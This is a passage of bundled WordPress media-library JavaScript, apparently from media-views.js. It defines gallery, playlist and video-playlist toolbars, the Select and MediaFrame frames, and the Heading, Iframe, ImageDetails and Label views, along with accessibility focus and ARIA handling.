6804 cancel: {
6805 text: l10n.cancelVideoPlaylistTitle,
6806 priority: 20,
6807 click: function() {
6808 if ( previous ) {
6809 frame.setState( previous );
6810 } else {
6811 frame.close();
6812 }
6813
6814 // Move focus to the modal after canceling a Video Playlist.
6815 this.controller.modal.focusManager.focus();
6816 }
6817 },
6818 separateCancel: new wp.media.View({
6819 className: 'separator',
6820 priority: 40
6821 })
6822 });
6823 },
6824
6825 // Content.
6826 embedContent: function() {
6827 var view = new wp.media.view.Embed({
6828 controller: this,
6829 model: this.state()
6830 }).render();
6831
6832 this.content.set( view );
6833 },
6834
6835 editSelectionContent: function() {
6836 var state = this.state(),
6837 selection = state.get('selection'),
6838 view;
6839
6840 view = new wp.media.view.AttachmentsBrowser({
6841 controller: this,
6842 collection: selection,
6843 selection: selection,
6844 model: state,
6845 sortable: true,
6846 search: false,
6847 date: false,
6848 dragInfo: true,
6849
6850 AttachmentView: wp.media.view.Attachments.EditSelection
6851 }).render();
6852
6853 view.toolbar.set( 'backToLibrary', {
6854 text: l10n.returnToLibrary,
6855 priority: -100,
6856
6857 click: function() {
6858 this.controller.content.mode('browse');
6859 // Move focus to the modal when jumping back from Edit Selection to Add Media view.
6860 this.controller.modal.focusManager.focus();
6861 }
6862 });
6863
6864 // Browse our library of attachments.
6865 this.content.set( view );
6866
6867 // Trigger the controller to set focus.
6868 this.trigger( 'edit:selection', this );
6869 },
6870
6871 editImageContent: function() {
6872 var image = this.state().get('image'),
6873 view = new wp.media.view.EditImage( { model: image, controller: this } ).render();
6874
6875 this.content.set( view );
6876
6877 // After creating the wrapper view, load the actual editor via an Ajax call.
6878 view.loadEditor();
6879
6880 },
6881
6882 // Toolbars.
6883
6884 /**
6885 * @param {wp.Backbone.View} view
6886 */
6887 selectionStatusToolbar: function( view ) {
6888 var editable = this.state().get('editable');
6889
6890 view.set( 'selection', new wp.media.view.Selection({
6891 controller: this,
6892 collection: this.state().get('selection'),
6893 priority: -40,
6894
6895 // If the selection is editable, pass the callback to
6896 // switch the content mode.
6897 editable: editable && function() {
6898 this.controller.content.mode('edit-selection');
6899 }
6900 }).render() );
6901 },
6902
6903 /**
6904 * @param {wp.Backbone.View} view
6905 */
6906 mainInsertToolbar: function( view ) {
6907 var controller = this;
6908
6909 this.selectionStatusToolbar( view );
6910
6911 view.set( 'insert', {
6912 style: 'primary',
6913 priority: 80,
6914 text: l10n.insertIntoPost,
6915 requires: { selection: true },
6916
6917 /**
6918 * @ignore
6919 *
6920 * @fires wp.media.controller.State#insert
6921 */
6922 click: function() {
6923 var state = controller.state(),
6924 selection = state.get('selection');
6925
6926 controller.close();
6927 state.trigger( 'insert', selection ).reset();
6928 }
6929 });
6930 },
6931
6932 /**
6933 * @param {wp.Backbone.View} view
6934 */
6935 mainGalleryToolbar: function( view ) {
6936 var controller = this;
6937
6938 this.selectionStatusToolbar( view );
6939
6940 view.set( 'gallery', {
6941 style: 'primary',
6942 text: l10n.createNewGallery,
6943 priority: 60,
6944 requires: { selection: true },
6945
6946 click: function() {
6947 var selection = controller.state().get('selection'),
6948 edit = controller.state('gallery-edit'),
6949 models = selection.where({ type: 'image' });
6950
6951 edit.set( 'library', new wp.media.model.Selection( models, {
6952 props: selection.props.toJSON(),
6953 multiple: true
6954 }) );
6955
6956 // Jump to Edit Gallery view.
6957 this.controller.setState( 'gallery-edit' );
6958
6959 // Move focus to the modal after jumping to Edit Gallery view.
6960 this.controller.modal.focusManager.focus();
6961 }
6962 });
6963 },
6964
6965 mainPlaylistToolbar: function( view ) {
6966 var controller = this;
6967
6968 this.selectionStatusToolbar( view );
6969
6970 view.set( 'playlist', {
6971 style: 'primary',
6972 text: l10n.createNewPlaylist,
6973 priority: 100,
6974 requires: { selection: true },
6975
6976 click: function() {
6977 var selection = controller.state().get('selection'),
6978 edit = controller.state('playlist-edit'),
6979 models = selection.where({ type: 'audio' });
6980
6981 edit.set( 'library', new wp.media.model.Selection( models, {
6982 props: selection.props.toJSON(),
6983 multiple: true
6984 }) );
6985
6986 // Jump to Edit Audio Playlist view.
6987 this.controller.setState( 'playlist-edit' );
6988
6989 // Move focus to the modal after jumping to Edit Audio Playlist view.
6990 this.controller.modal.focusManager.focus();
6991 }
6992 });
6993 },
6994
6995 mainVideoPlaylistToolbar: function( view ) {
6996 var controller = this;
6997
6998 this.selectionStatusToolbar( view );
6999
7000 view.set( 'video-playlist', {
7001 style: 'primary',
7002 text: l10n.createNewVideoPlaylist,
7003 priority: 100,
7004 requires: { selection: true },
7005
7006 click: function() {
7007 var selection = controller.state().get('selection'),
7008 edit = controller.state('video-playlist-edit'),
7009 models = selection.where({ type: 'video' });
7010
7011 edit.set( 'library', new wp.media.model.Selection( models, {
7012 props: selection.props.toJSON(),
7013 multiple: true
7014 }) );
7015
7016 // Jump to Edit Video Playlist view.
7017 this.controller.setState( 'video-playlist-edit' );
7018
7019 // Move focus to the modal after jumping to Edit Video Playlist view.
7020 this.controller.modal.focusManager.focus();
7021 }
7022 });
7023 },
7024
7025 featuredImageToolbar: function( toolbar ) {
7026 this.createSelectToolbar( toolbar, {
7027 text: l10n.setFeaturedImage,
7028 state: this.options.state
7029 });
7030 },
7031
7032 mainEmbedToolbar: function( toolbar ) {
7033 toolbar.view = new wp.media.view.Toolbar.Embed({
7034 controller: this
7035 });
7036 },
7037
7038 galleryEditToolbar: function() {
7039 var editing = this.state().get('editing');
7040 this.toolbar.set( new wp.media.view.Toolbar({
7041 controller: this,
7042 items: {
7043 insert: {
7044 style: 'primary',
7045 text: editing ? l10n.updateGallery : l10n.insertGallery,
7046 priority: 80,
7047 requires: { library: true, uploadingComplete: true },
7048
7049 /**
7050 * @fires wp.media.controller.State#update
7051 */
7052 click: function() {
7053 var controller = this.controller,
7054 state = controller.state();
7055
7056 controller.close();
7057 state.trigger( 'update', state.get('library') );
7058
7059 // Restore and reset the default state.
7060 controller.setState( controller.options.state );
7061 controller.reset();
7062 }
7063 }
7064 }
7065 }) );
7066 },
7067
7068 galleryAddToolbar: function() {
7069 this.toolbar.set( new wp.media.view.Toolbar({
7070 controller: this,
7071 items: {
7072 insert: {
7073 style: 'primary',
7074 text: l10n.addToGallery,
7075 priority: 80,
7076 requires: { selection: true },
7077
7078 /**
7079 * @fires wp.media.controller.State#reset
7080 */
7081 click: function() {
7082 var controller = this.controller,
7083 state = controller.state(),
7084 edit = controller.state('gallery-edit');
7085
7086 edit.get('library').add( state.get('selection').models );
7087 state.trigger('reset');
7088 controller.setState('gallery-edit');
7089 // Move focus to the modal when jumping back from Add to Gallery to Edit Gallery view.
7090 this.controller.modal.focusManager.focus();
7091 }
7092 }
7093 }
7094 }) );
7095 },
7096
7097 playlistEditToolbar: function() {
7098 var editing = this.state().get('editing');
7099 this.toolbar.set( new wp.media.view.Toolbar({
7100 controller: this,
7101 items: {
7102 insert: {
7103 style: 'primary',
7104 text: editing ? l10n.updatePlaylist : l10n.insertPlaylist,
7105 priority: 80,
7106 requires: { library: true },
7107
7108 /**
7109 * @fires wp.media.controller.State#update
7110 */
7111 click: function() {
7112 var controller = this.controller,
7113 state = controller.state();
7114
7115 controller.close();
7116 state.trigger( 'update', state.get('library') );
7117
7118 // Restore and reset the default state.
7119 controller.setState( controller.options.state );
7120 controller.reset();
7121 }
7122 }
7123 }
7124 }) );
7125 },
7126
7127 playlistAddToolbar: function() {
7128 this.toolbar.set( new wp.media.view.Toolbar({
7129 controller: this,
7130 items: {
7131 insert: {
7132 style: 'primary',
7133 text: l10n.addToPlaylist,
7134 priority: 80,
7135 requires: { selection: true },
7136
7137 /**
7138 * @fires wp.media.controller.State#reset
7139 */
7140 click: function() {
7141 var controller = this.controller,
7142 state = controller.state(),
7143 edit = controller.state('playlist-edit');
7144
7145 edit.get('library').add( state.get('selection').models );
7146 state.trigger('reset');
7147 controller.setState('playlist-edit');
7148 // Move focus to the modal when jumping back from Add to Audio Playlist to Edit Audio Playlist view.
7149 this.controller.modal.focusManager.focus();
7150 }
7151 }
7152 }
7153 }) );
7154 },
7155
7156 videoPlaylistEditToolbar: function() {
7157 var editing = this.state().get('editing');
7158 this.toolbar.set( new wp.media.view.Toolbar({
7159 controller: this,
7160 items: {
7161 insert: {
7162 style: 'primary',
7163 text: editing ? l10n.updateVideoPlaylist : l10n.insertVideoPlaylist,
7164 priority: 140,
7165 requires: { library: true },
7166
7167 click: function() {
7168 var controller = this.controller,
7169 state = controller.state(),
7170 library = state.get('library');
7171
7172 library.type = 'video';
7173
7174 controller.close();
7175 state.trigger( 'update', library );
7176
7177 // Restore and reset the default state.
7178 controller.setState( controller.options.state );
7179 controller.reset();
7180 }
7181 }
7182 }
7183 }) );
7184 },
7185
7186 videoPlaylistAddToolbar: function() {
7187 this.toolbar.set( new wp.media.view.Toolbar({
7188 controller: this,
7189 items: {
7190 insert: {
7191 style: 'primary',
7192 text: l10n.addToVideoPlaylist,
7193 priority: 140,
7194 requires: { selection: true },
7195
7196 click: function() {
7197 var controller = this.controller,
7198 state = controller.state(),
7199 edit = controller.state('video-playlist-edit');
7200
7201 edit.get('library').add( state.get('selection').models );
7202 state.trigger('reset');
7203 controller.setState('video-playlist-edit');
7204 // Move focus to the modal when jumping back from Add to Video Playlist to Edit Video Playlist view.
7205 this.controller.modal.focusManager.focus();
7206 }
7207 }
7208 }
7209 }) );
7210 }
7211});
7212
7213module.exports = Post;
7214
7215
7216/***/ },
7217
7218/***/ 455
7219(module) {
7220
7221var MediaFrame = wp.media.view.MediaFrame,
7222 l10n = wp.media.view.l10n,
7223 Select;
7224
7225/**
7226 * wp.media.view.MediaFrame.Select
7227 *
7228 * A frame for selecting an item or items from the media library.
7229 *
7230 * @memberOf wp.media.view.MediaFrame
7231 *
7232 * @class
7233 * @augments wp.media.view.MediaFrame
7234 * @augments wp.media.view.Frame
7235 * @augments wp.media.View
7236 * @augments wp.Backbone.View
7237 * @augments Backbone.View
7238 * @mixes wp.media.controller.StateMachine
7239 */
7240Select = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Select.prototype */{
7241 initialize: function() {
7242 // Call 'initialize' directly on the parent class.
7243 MediaFrame.prototype.initialize.apply( this, arguments );
7244
7245 _.defaults( this.options, {
7246 selection: [],
7247 library: {},
7248 multiple: false,
7249 state: 'library'
7250 });
7251
7252 this.createSelection();
7253 this.createStates();
7254 this.bindHandlers();
7255 },
7256
7257 /**
7258 * Attach a selection collection to the frame.
7259 *
7260 * A selection is a collection of attachments used for a specific purpose
7261 * by a media frame. e.g. Selecting an attachment (or many) to insert into
7262 * post content.
7263 *
7264 * @see media.model.Selection
7265 */
7266 createSelection: function() {
7267 var selection = this.options.selection;
7268
7269 if ( ! (selection instanceof wp.media.model.Selection) ) {
7270 this.options.selection = new wp.media.model.Selection( selection, {
7271 multiple: this.options.multiple
7272 });
7273 }
7274
7275 this._selection = {
7276 attachments: new wp.media.model.Attachments(),
7277 difference: []
7278 };
7279 },
7280
7281 editImageContent: function() {
7282 var image = this.state().get('image'),
7283 view = new wp.media.view.EditImage( { model: image, controller: this } ).render();
7284
7285 this.content.set( view );
7286
7287 // After creating the wrapper view, load the actual editor via an Ajax call.
7288 view.loadEditor();
7289 },
7290
7291 /**
7292 * Create the default states on the frame.
7293 */
7294 createStates: function() {
7295 var options = this.options;
7296
7297 if ( this.options.states ) {
7298 return;
7299 }
7300
7301 // Add the default states.
7302 this.states.add([
7303 // Main states.
7304 new wp.media.controller.Library({
7305 library: wp.media.query( options.library ),
7306 multiple: options.multiple,
7307 title: options.title,
7308 priority: 20
7309 }),
7310 new wp.media.controller.EditImage( { model: options.editImage } )
7311 ]);
7312 },
7313
7314 /**
7315 * Bind region mode event callbacks.
7316 *
7317 * @see media.controller.Region.render
7318 */
7319 bindHandlers: function() {
7320 this.on( 'router:create:browse', this.createRouter, this );
7321 this.on( 'router:render:browse', this.browseRouter, this );
7322 this.on( 'content:create:browse', this.browseContent, this );
7323 this.on( 'content:render:upload', this.uploadContent, this );
7324 this.on( 'toolbar:create:select', this.createSelectToolbar, this );
7325 this.on( 'content:render:edit-image', this.editImageContent, this );
7326 },
7327
7328 /**
7329 * Render callback for the router region in the `browse` mode.
7330 *
7331 * @param {wp.media.view.Router} routerView
7332 */
7333 browseRouter: function( routerView ) {
7334 routerView.set({
7335 upload: {
7336 text: l10n.uploadFilesTitle,
7337 priority: 20
7338 },
7339 browse: {
7340 text: l10n.mediaLibraryTitle,
7341 priority: 40
7342 }
7343 });
7344 },
7345
7346 /**
7347 * Render callback for the content region in the `browse` mode.
7348 *
7349 * @param {wp.media.controller.Region} contentRegion
7350 */
7351 browseContent: function( contentRegion ) {
7352 var state = this.state();
7353
7354 this.$el.removeClass('hide-toolbar');
7355
7356 // Browse our library of attachments.
7357 contentRegion.view = new wp.media.view.AttachmentsBrowser({
7358 controller: this,
7359 collection: state.get('library'),
7360 selection: state.get('selection'),
7361 model: state,
7362 sortable: state.get('sortable'),
7363 search: state.get('searchable'),
7364 filters: state.get('filterable'),
7365 date: state.get('date'),
7366 display: state.has('display') ? state.get('display') : state.get('displaySettings'),
7367 dragInfo: state.get('dragInfo'),
7368
7369 idealColumnWidth: state.get('idealColumnWidth'),
7370 suggestedWidth: state.get('suggestedWidth'),
7371 suggestedHeight: state.get('suggestedHeight'),
7372
7373 AttachmentView: state.get('AttachmentView')
7374 });
7375 },
7376
7377 /**
7378 * Render callback for the content region in the `upload` mode.
7379 */
7380 uploadContent: function() {
7381 this.$el.removeClass( 'hide-toolbar' );
7382 this.content.set( new wp.media.view.UploaderInline({
7383 controller: this
7384 }) );
7385 },
7386
7387 /**
7388 * Toolbars
7389 *
7390 * @param {Object} toolbar
7391 * @param {Object} [options={}]
7392 * @this wp.media.controller.Region
7393 */
7394 createSelectToolbar: function( toolbar, options ) {
7395 options = options || this.options.button || {};
7396 options.controller = this;
7397
7398 toolbar.view = new wp.media.view.Toolbar.Select( options );
7399 }
7400});
7401
7402module.exports = Select;
7403
7404
7405/***/ },
7406
7407/***/ 170
7408(module) {
7409
7410/**
7411 * wp.media.view.Heading
7412 *
7413 * A reusable heading component for the media library
7414 *
7415 * Used to add accessibility friendly headers in the media library/modal.
7416 *
7417 * @class
7418 * @augments wp.media.View
7419 * @augments wp.Backbone.View
7420 * @augments Backbone.View
7421 */
7422var Heading = wp.media.View.extend( {
7423 tagName: function() {
7424 return this.options.level || 'h1';
7425 },
7426 className: 'media-views-heading',
7427
7428 initialize: function() {
7429
7430 if ( this.options.className ) {
7431 this.$el.addClass( this.options.className );
7432 }
7433
7434 this.text = this.options.text;
7435 },
7436
7437 render: function() {
7438 this.$el.html( this.text );
7439 return this;
7440 }
7441} );
7442
7443module.exports = Heading;
7444
7445
7446/***/ },
7447
7448/***/ 1982
7449(module) {
7450
7451/**
7452 * wp.media.view.Iframe
7453 *
7454 * @memberOf wp.media.view
7455 *
7456 * @class
7457 * @augments wp.media.View
7458 * @augments wp.Backbone.View
7459 * @augments Backbone.View
7460 */
7461var Iframe = wp.media.View.extend(/** @lends wp.media.view.Iframe.prototype */{
7462 className: 'media-iframe',
7463 /**
7464 * @return {wp.media.view.Iframe} Returns itself to allow chaining.
7465 */
7466 render: function() {
7467 this.views.detach();
7468 this.$el.html( '<iframe src="' + this.controller.state().get('src') + '" />' );
7469 this.views.render();
7470 return this;
7471 }
7472});
7473
7474module.exports = Iframe;
7475
7476
7477/***/ },
7478
7479/***/ 2650
7480(module) {
7481
7482var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
7483 $ = jQuery,
7484 ImageDetails;
7485
7486/**
7487 * wp.media.view.ImageDetails
7488 *
7489 * @memberOf wp.media.view
7490 *
7491 * @class
7492 * @augments wp.media.view.Settings.AttachmentDisplay
7493 * @augments wp.media.view.Settings
7494 * @augments wp.media.View
7495 * @augments wp.Backbone.View
7496 * @augments Backbone.View
7497 */
7498ImageDetails = AttachmentDisplay.extend(/** @lends wp.media.view.ImageDetails.prototype */{
7499 className: 'image-details',
7500 template: wp.template('image-details'),
7501 events: _.defaults( AttachmentDisplay.prototype.events, {
7502 'click .edit-attachment': 'editAttachment',
7503 'click .replace-attachment': 'replaceAttachment',
7504 'click .advanced-toggle': 'onToggleAdvanced',
7505 'change [data-setting="customWidth"]': 'onCustomSize',
7506 'change [data-setting="customHeight"]': 'onCustomSize',
7507 'keyup [data-setting="customWidth"]': 'onCustomSize',
7508 'keyup [data-setting="customHeight"]': 'onCustomSize'
7509 } ),
7510 initialize: function() {
7511 // Used in AttachmentDisplay.prototype.updateLinkTo.
7512 this.options.attachment = this.model.attachment;
7513 this.listenTo( this.model, 'change:url', this.updateUrl );
7514 this.listenTo( this.model, 'change:link', this.toggleLinkSettings );
7515 this.listenTo( this.model, 'change:size', this.toggleCustomSize );
7516
7517 AttachmentDisplay.prototype.initialize.apply( this, arguments );
7518 },
7519
7520 prepare: function() {
7521 var attachment = false;
7522
7523 if ( this.model.attachment ) {
7524 attachment = this.model.attachment.toJSON();
7525 }
7526 return _.defaults({
7527 model: this.model.toJSON(),
7528 attachment: attachment
7529 }, this.options );
7530 },
7531
7532 render: function() {
7533 var args = arguments;
7534
7535 if ( this.model.attachment && 'pending' === this.model.dfd.state() ) {
7536 this.model.dfd
7537 .done( _.bind( function() {
7538 AttachmentDisplay.prototype.render.apply( this, args );
7539 this.postRender();
7540 }, this ) )
7541 .fail( _.bind( function() {
7542 this.model.attachment = false;
7543 AttachmentDisplay.prototype.render.apply( this, args );
7544 this.postRender();
7545 }, this ) );
7546 } else {
7547 AttachmentDisplay.prototype.render.apply( this, arguments );
7548 this.postRender();
7549 }
7550
7551 return this;
7552 },
7553
7554 postRender: function() {
7555 setTimeout( _.bind( this.scrollToTop, this ), 10 );
7556 this.toggleLinkSettings();
7557 if ( window.getUserSetting( 'advImgDetails' ) === 'show' ) {
7558 this.toggleAdvanced( true );
7559 }
7560 this.trigger( 'post-render' );
7561 },
7562
7563 scrollToTop: function() {
7564 this.$( '.embed-media-settings' ).scrollTop( 0 );
7565 },
7566
7567 updateUrl: function() {
7568 this.$( '.image img' ).attr( 'src', this.model.get( 'url' ) );
7569 this.$( '.url' ).val( this.model.get( 'url' ) );
7570 },
7571
7572 toggleLinkSettings: function() {
7573 if ( this.model.get( 'link' ) === 'none' ) {
7574 this.$( '.link-settings' ).addClass('hidden');
7575 } else {
7576 this.$( '.link-settings' ).removeClass('hidden');
7577 }
7578 },
7579
7580 toggleCustomSize: function() {
7581 if ( this.model.get( 'size' ) !== 'custom' ) {
7582 this.$( '.custom-size' ).addClass('hidden');
7583 } else {
7584 this.$( '.custom-size' ).removeClass('hidden');
7585 }
7586 },
7587
7588 onCustomSize: function( event ) {
7589 var dimension = $( event.target ).data('setting'),
7590 num = $( event.target ).val(),
7591 value;
7592
7593 // Ignore bogus input.
7594 if ( ! /^\d+/.test( num ) || parseInt( num, 10 ) < 1 ) {
7595 event.preventDefault();
7596 return;
7597 }
7598
7599 if ( dimension === 'customWidth' ) {
7600 value = Math.round( 1 / this.model.get( 'aspectRatio' ) * num );
7601 this.model.set( 'customHeight', value, { silent: true } );
7602 this.$( '[data-setting="customHeight"]' ).val( value );
7603 } else {
7604 value = Math.round( this.model.get( 'aspectRatio' ) * num );
7605 this.model.set( 'customWidth', value, { silent: true } );
7606 this.$( '[data-setting="customWidth"]' ).val( value );
7607 }
7608 },
7609
7610 onToggleAdvanced: function( event ) {
7611 event.preventDefault();
7612 this.toggleAdvanced();
7613 },
7614
7615 toggleAdvanced: function( show ) {
7616 var $advanced = this.$el.find( '.advanced-section' ),
7617 mode;
7618
7619 if ( $advanced.hasClass('advanced-visible') || show === false ) {
7620 $advanced.removeClass('advanced-visible');
7621 $advanced.find('.advanced-settings').addClass('hidden');
7622 mode = 'hide';
7623 } else {
7624 $advanced.addClass('advanced-visible');
7625 $advanced.find('.advanced-settings').removeClass('hidden');
7626 mode = 'show';
7627 }
7628
7629 window.setUserSetting( 'advImgDetails', mode );
7630 },
7631
7632 editAttachment: function( event ) {
7633 var editState = this.controller.states.get( 'edit-image' );
7634
7635 if ( window.imageEdit && editState ) {
7636 event.preventDefault();
7637 editState.set( 'image', this.model.attachment );
7638 this.controller.setState( 'edit-image' );
7639 }
7640 },
7641
7642 replaceAttachment: function( event ) {
7643 event.preventDefault();
7644 this.controller.setState( 'replace-image' );
7645 }
7646});
7647
7648module.exports = ImageDetails;
7649
7650
7651/***/ },
7652
7653/***/ 4338
7654(module) {
7655
7656/**
7657 * wp.media.view.Label
7658 *
7659 * @memberOf wp.media.view
7660 *
7661 * @class
7662 * @augments wp.media.View
7663 * @augments wp.Backbone.View
7664 * @augments Backbone.View
7665 */
7666var Label = wp.media.View.extend(/** @lends wp.media.view.Label.prototype */{
7667 tagName: 'label',
7668
7669 initialize: function() {
7670 this.value = this.options.value;
7671 },
7672
7673 render: function() {
7674 this.$el.html( this.value );
7675
7676 return this;
7677 }
7678});
7679
7680module.exports = Label;
7681
7682
7683/***/ },
7684
7685/***/ 2836
7686(module) {
7687
7688var Frame = wp.media.view.Frame,
7689 l10n = wp.media.view.l10n,
7690 $ = jQuery,
7691 MediaFrame;
7692
7693/**
7694 * wp.media.view.MediaFrame
7695 *
7696 * The frame used to create the media modal.
7697 *
7698 * @memberOf wp.media.view
7699 *
7700 * @class
7701 * @augments wp.media.view.Frame
7702 * @augments wp.media.View
7703 * @augments wp.Backbone.View
7704 * @augments Backbone.View
7705 * @mixes wp.media.controller.StateMachine
7706 */
7707MediaFrame = Frame.extend(/** @lends wp.media.view.MediaFrame.prototype */{
7708 className: 'media-frame',
7709 template: wp.template('media-frame'),
7710 regions: ['menu','title','content','toolbar','router'],
7711
7712 events: {
7713 'click .media-frame-menu-toggle': 'toggleMenu'
7714 },
7715
7716 /**
7717 * @constructs
7718 */
7719 initialize: function() {
7720 Frame.prototype.initialize.apply( this, arguments );
7721
7722 _.defaults( this.options, {
7723 title: l10n.mediaFrameDefaultTitle,
7724 modal: true,
7725 uploader: true
7726 });
7727
7728 // Ensure core UI is enabled.
7729 this.$el.addClass('wp-core-ui');
7730
7731 // Initialize modal container view.
7732 if ( this.options.modal ) {
7733 this.modal = new wp.media.view.Modal({
7734 controller: this,
7735 title: this.options.title
7736 });
7737
7738 this.modal.content( this );
7739 }
7740
7741 // Force the uploader off if the upload limit has been exceeded or
7742 // if the browser isn't supported.
7743 if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
7744 this.options.uploader = false;
7745 }
7746
7747 // Initialize window-wide uploader.
7748 if ( this.options.uploader ) {
7749 this.uploader = new wp.media.view.UploaderWindow({
7750 controller: this,
7751 uploader: {
7752 dropzone: this.modal ? this.modal.$el : this.$el,
7753 container: this.$el
7754 }
7755 });
7756 this.views.set( '.media-frame-uploader', this.uploader );
7757 }
7758
7759 this.on( 'attach', _.bind( this.views.ready, this.views ), this );
7760
7761 // Bind default title creation.
7762 this.on( 'title:create:default', this.createTitle, this );
7763 this.title.mode('default');
7764
7765 // Bind default menu.
7766 this.on( 'menu:create:default', this.createMenu, this );
7767
7768 // Set the menu ARIA tab panel attributes when the modal opens.
7769 this.on( 'open', this.setMenuTabPanelAriaAttributes, this );
7770 // Set the router ARIA tab panel attributes when the modal opens.
7771 this.on( 'open', this.setRouterTabPanelAriaAttributes, this );
7772
7773 // Update the menu ARIA tab panel attributes when the content updates.
7774 this.on( 'content:render', this.setMenuTabPanelAriaAttributes, this );
7775 // Update the router ARIA tab panel attributes when the content updates.
7776 this.on( 'content:render', this.setRouterTabPanelAriaAttributes, this );
7777 },
7778
7779 /**
7780 * Sets the attributes to be used on the menu ARIA tab panel.
7781 *
7782 * @since 5.3.0
7783 *
7784 * @return {void}
7785 */
7786 setMenuTabPanelAriaAttributes: function() {
7787 var stateId = this.state().get( 'id' ),
7788 tabPanelEl = this.$el.find( '.media-frame-tab-panel' ),
7789 ariaLabelledby;
7790
7791 tabPanelEl.removeAttr( 'role aria-labelledby' );
7792
7793 if ( this.state().get( 'menu' ) && this.menuView && this.menuView.isVisible ) {
7794 ariaLabelledby = 'menu-item-' + stateId;
7795
7796 // Set the tab panel attributes only if the tabs are visible.
7797 tabPanelEl
7798 .attr( {
7799 role: 'tabpanel',
7800 'aria-labelledby': ariaLabelledby,
7801 } );
7802 }
7803 },
7804
7805 /**
7806 * Sets the attributes to be used on the router ARIA tab panel.
7807 *
7808 * @since 5.3.0
7809 *
7810 * @return {void}
7811 */
7812 setRouterTabPanelAriaAttributes: function() {
7813 var tabPanelEl = this.$el.find( '.media-frame-content' ),
7814 ariaLabelledby;
7815
7816 tabPanelEl.removeAttr( 'role aria-labelledby' );
7817
7818 // Set the tab panel attributes only if the tabs are visible.
7819 if ( this.state().get( 'router' ) && this.routerView && this.routerView.isVisible && this.content._mode ) {
7820 ariaLabelledby = 'menu-item-' + this.content._mode;
7821
7822 tabPanelEl
7823 .attr( {
7824 role: 'tabpanel',
7825 'aria-labelledby': ariaLabelledby,
7826 } );
7827 }
7828 },
7829
7830 /**
7831 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
7832 */
7833 render: function() {
7834 // Activate the default state if no active state exists.
7835 if ( ! this.state() && this.options.state ) {
7836 this.setState( this.options.state );
7837 }
7838 /**
7839 * call 'render' directly on the parent class
7840 */
7841 return Frame.prototype.render.apply( this, arguments );
7842 },
7843 /**
7844 * @param {Object} title
7845 * @this wp.media.controller.Region
7846 */
7847 createTitle: function( title ) {
7848 title.view = new wp.media.View({
7849 controller: this,
7850 tagName: 'h1'
7851 });
7852 },
7853 /**
7854 * @param {Object} menu
7855 * @this wp.media.controller.Region
7856 */
7857 createMenu: function( menu ) {
7858 menu.view = new wp.media.view.Menu({
7859 controller: this,
7860
7861 attributes: {
7862 role: 'tablist',
7863 'aria-orientation': 'vertical'
7864 }
7865 });
7866
7867 this.menuView = menu.view;
7868 },
7869
7870 toggleMenu: function( event ) {
7871 var menu = this.$el.find( '.media-menu' );
7872
7873 menu.toggleClass( 'visible' );
7874 $( event.target ).attr( 'aria-expanded', menu.hasClass( 'visible' ) );
7875 },
7876
7877 /**
7878 * @param {Object} toolbar
7879 * @this wp.media.controller.Region
7880 */
7881 createToolbar: function( toolbar ) {
7882 toolbar.view = new wp.media.view.Toolbar({
7883 controller: this
7884 });
7885 },
7886 /**
7887 * @param {Object} router
7888 * @this wp.media.controller.Region
7889 */
7890 createRouter: function( router ) {
7891 router.view = new wp.media.view.Router({
7892 controller: this,
7893
7894 attributes: {
7895 role: 'tablist',
7896 'aria-orientation': 'horizontal'
7897 }
7898 });
7899
7900 this.routerView = router.view;
7901 },
7902 /**
7903 * @param {Object} options
7904 */
7905 createIframeStates: function( options ) {
7906 var settings = wp.media.view.settings,
7907 tabs = settings.tabs,
7908 tabUrl = settings.tabUrl,
7909 $postId;
7910
7911 if ( ! tabs || ! tabUrl ) {
7912 return;
7913 }
7914
7915 // Add the post ID to the tab URL if it exists.
7916 $postId = $('#post_ID');
7917 if ( $postId.length ) {
7918 tabUrl += '&post_id=' + $postId.val();
7919 }
7920
7921 // Generate the tab states.
7922 _.each( tabs, function( title, id ) {
7923 this.state( 'iframe:' + id ).set( _.defaults({
7924 tab: id,
7925 src: tabUrl + '&tab=' + id,
7926 title: title,
7927 content: 'iframe',
7928 menu: 'default'
7929 }, options ) );
7930 }, this );
7931
7932 this.on( 'content:create:iframe', this.iframeContent, this );
7933 this.on( 'content:deactivate:iframe', this.iframeContentCleanup, this );
7934 this.on( 'menu:render:default', this.iframeMenu, this );
7935 this.on( 'open', this.hijackThickbox, this );
7936 this.on( 'close', this.restoreThickbox, this );
7937 },
7938
7939 /**
7940 * @param {Object} content
7941 * @this wp.media.controller.Region
7942 */
7943 iframeContent: function( content ) {
7944 this.$el.addClass('hide-toolbar');
7945 content.view = new wp.media.view.Iframe({
7946 controller: this
7947 });
7948 },
7949
7950 iframeContentCleanup: function() {
7951 this.$el.removeClass('hide-toolbar');
7952 },
7953
7954 iframeMenu: function( view ) {
7955 var views = {};
7956
7957 if ( ! view ) {
7958 return;
7959 }
7960
7961 _.each( wp.media.view.settings.tabs, function( title, id ) {
7962 views[ 'iframe:' + id ] = {
7963 text: this.state( 'iframe:' + id ).get('title'),
7964 priority: 200
7965 };
7966 }, this );
7967
7968 view.set( views );
7969 },
7970
7971 hijackThickbox: function() {
7972 var frame = this;
7973
7974 if ( ! window.tb_remove || this._tb_remove ) {
7975 return;
7976 }
7977
7978 this._tb_remove = window.tb_remove;
7979 window.tb_remove = function() {
7980 frame.close();
7981 frame.reset();
7982 frame.setState( frame.options.state );
7983 frame._tb_remove.call( window );
7984 };
7985 },
7986
7987 restoreThickbox: function() {
7988 if ( ! this._tb_remove ) {
7989 return;
7990 }
7991
7992 window.tb_remove = this._tb_remove;
7993 delete this._tb_remove;
7994 }
7995});
7996
7997// Map some of the modal's methods to the frame.
7998_.each(['open','close','attach','detach','escape'], function( method ) {
7999 /**
8000 * @function open
8001 * @memberOf wp.media.view.MediaFrame
8002 * @instance
8003 *
8004 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
8005 */
8006 /**
8007 * @function close
8008 * @memberOf wp.media.view.MediaFrame
8009 * @instance
8010 *
8011 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
8012 */
8013 /**
8014 * @function attach
8015 * @memberOf wp.media.view.MediaFrame
8016 * @instance
8017 *
8018 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
8019 */
8020 /**
8021 * @function detach
8022 * @memberOf wp.media.view.MediaFrame
8023 * @instance
8024 *
8025 * @return {wp.media.view.MediaFrame} Returns itself to allow chaining.
8026 */
8027 /**
8028 * @function escape
8029 * @memberOf wp.media.view.MediaFrame
8030 * @instance
8031 *
